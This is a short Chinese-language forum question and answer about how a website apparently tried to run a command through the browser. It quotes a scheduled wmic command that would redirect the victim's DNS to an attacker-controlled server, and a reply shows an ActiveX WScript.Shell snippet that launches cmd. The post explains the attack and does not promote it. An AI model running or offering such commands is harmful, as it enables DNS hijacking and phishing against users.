浏览器如何在cmd中执行命令？

前一段时间在Windows 7 UAC提示下访问Opera 12.12中的某个网站时出现在屏幕上：

C:\Windows\SysWOW64\cmd.exe /c at 13:29:00 /every:T,M,Th,F,W,S,Su wmic.exe nicconfig where "IPEnabled=true" call SetDNSServerSearchOrder ("37.10.116.202", "8.8.8.8")

显然，我拒绝了。

网络钓鱼者试图获取我的数据的方法非常清楚，但是他们如何设法从浏览器执行命令？

网络钓鱼者可能会使用这样的Javascript：

var wsh = new ActiveXObject('WScript.Shell');
command = 'cmd /k ' + 'what ever ...';
wsh.Run(command);

仅当您关闭浏览器中需要使用ActiveX的安全功能时，它才有效。